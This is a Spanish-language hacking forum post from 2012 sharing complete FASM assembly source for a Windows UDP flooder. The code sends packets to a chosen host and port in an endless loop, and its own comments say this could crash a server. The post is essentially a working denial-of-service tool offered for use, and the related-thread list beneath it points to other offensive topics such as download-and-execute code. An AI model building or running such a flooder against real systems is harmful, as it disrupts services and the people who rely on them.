send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[FASM] UDP Flooder

  • 0 Respuestas
  • 2166 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5299
  • Actividad:
    36.67%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Abril 12, 2012, 11:07:34 am »
Código: ASM
  1. format PE console 4.0
  2. ; UDP Flooder Tutorial
  3. ; Send UDP packet very quickly which could result to a server crash.
  4. ; 2012 By WireMask - wiremask.eu
  5. entry start
  6.  
  7. include 'include\win32a.inc'
  8. section '.data' data readable writeable
  9.  
  10. ; Time between each packets in ms
  11. iSleep        equ 50d
  12. ; Destination Port
  13. sPort        equ 2750d
  14. ; Destination Host
  15. sHost        db 'remotehost',0
  16. ; Packet to Send
  17. sPacket    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0
  18. sPacketl    = $ - sPacket
  19. sock        dd ?
  20. sin_addr    dd ?
  21. sin_port    dd ?
  22. saddr sockaddr_in
  23. wsadata WSADATA
  24.  
  25. section '.code' code readable executable
  26. start:
  27.     invoke WSAStartup, 0202h, wsadata
  28.     ; Declare our UDP Socket
  29.     invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17
  30.     mov [sock], eax
  31.     mov [saddr.sin_family], AF_INET
  32.     ; Select Port
  33.     invoke htons, sPort
  34.     mov [saddr.sin_port], ax
  35.     ; Select IP
  36.     invoke gethostbyname, sHost
  37.     mov eax, [eax+12]
  38.     mov eax, [eax]
  39.     mov eax, [eax]
  40.     mov [saddr.sin_addr], eax
  41.     ; Start our infinite loop
  42.     .loop:
  43.     invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in
  44.     cmp eax, 0
  45.     je exit
  46.     invoke Sleep, iSleep
  47.     jmp .loop
  48.     ; useless part
  49.     exit:
  50.     invoke closesocket, [sock]
  51.     invoke WSACleanup
  52.     invoke ExitProcess,0
  53.  
  54. section '.idata' import data readable writeable
  55.  
  56. library    kernel,'KERNEL32.DLL',\
  57.         winsock,'WSOCK32.DLL'
  58.  
  59. import kernel,\
  60.     ExitProcess,'ExitProcess',\
  61.     Sleep,'Sleep'
  62.  
  63. import winsock,\
  64.     WSAStartup,'WSAStartup',\
  65.     WSACleanup,'WSACleanup',\
  66.     socket,'socket',\
  67.     sendto,'sendto',\
  68.     inet_addr,'inet_addr',\
  69.     htons,'htons',\
  70.     closesocket,'closesocket',\
  71.     gethostbyname,'gethostbyname'

Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
« Última modificación: Junio 03, 2013, 11:50:55 am por Expermicid »


 

¿Te gustó el post? COMPARTILO!



[FASM] Simple Memory Code Injection

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2383
Último mensaje Junio 05, 2012, 04:43:46 pm
por ANTRAX
[FASM] Download & Execute

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4012
Último mensaje Abril 12, 2012, 10:47:20 am
por ANTRAX
[FASM] Ascii85 decode

Iniciado por Karcrack

Respuestas: 0
Vistas: 1806
Último mensaje Junio 16, 2013, 06:13:38 pm
por Karcrack
Subclasificando una ventana FASM

Iniciado por linkgl

Respuestas: 0
Vistas: 2279
Último mensaje Diciembre 24, 2012, 08:08:49 pm
por linkgl
[FASM] Fresh IDE

Iniciado por 79137913

Respuestas: 0
Vistas: 2404
Último mensaje Julio 12, 2016, 08:25:25 am
por 79137913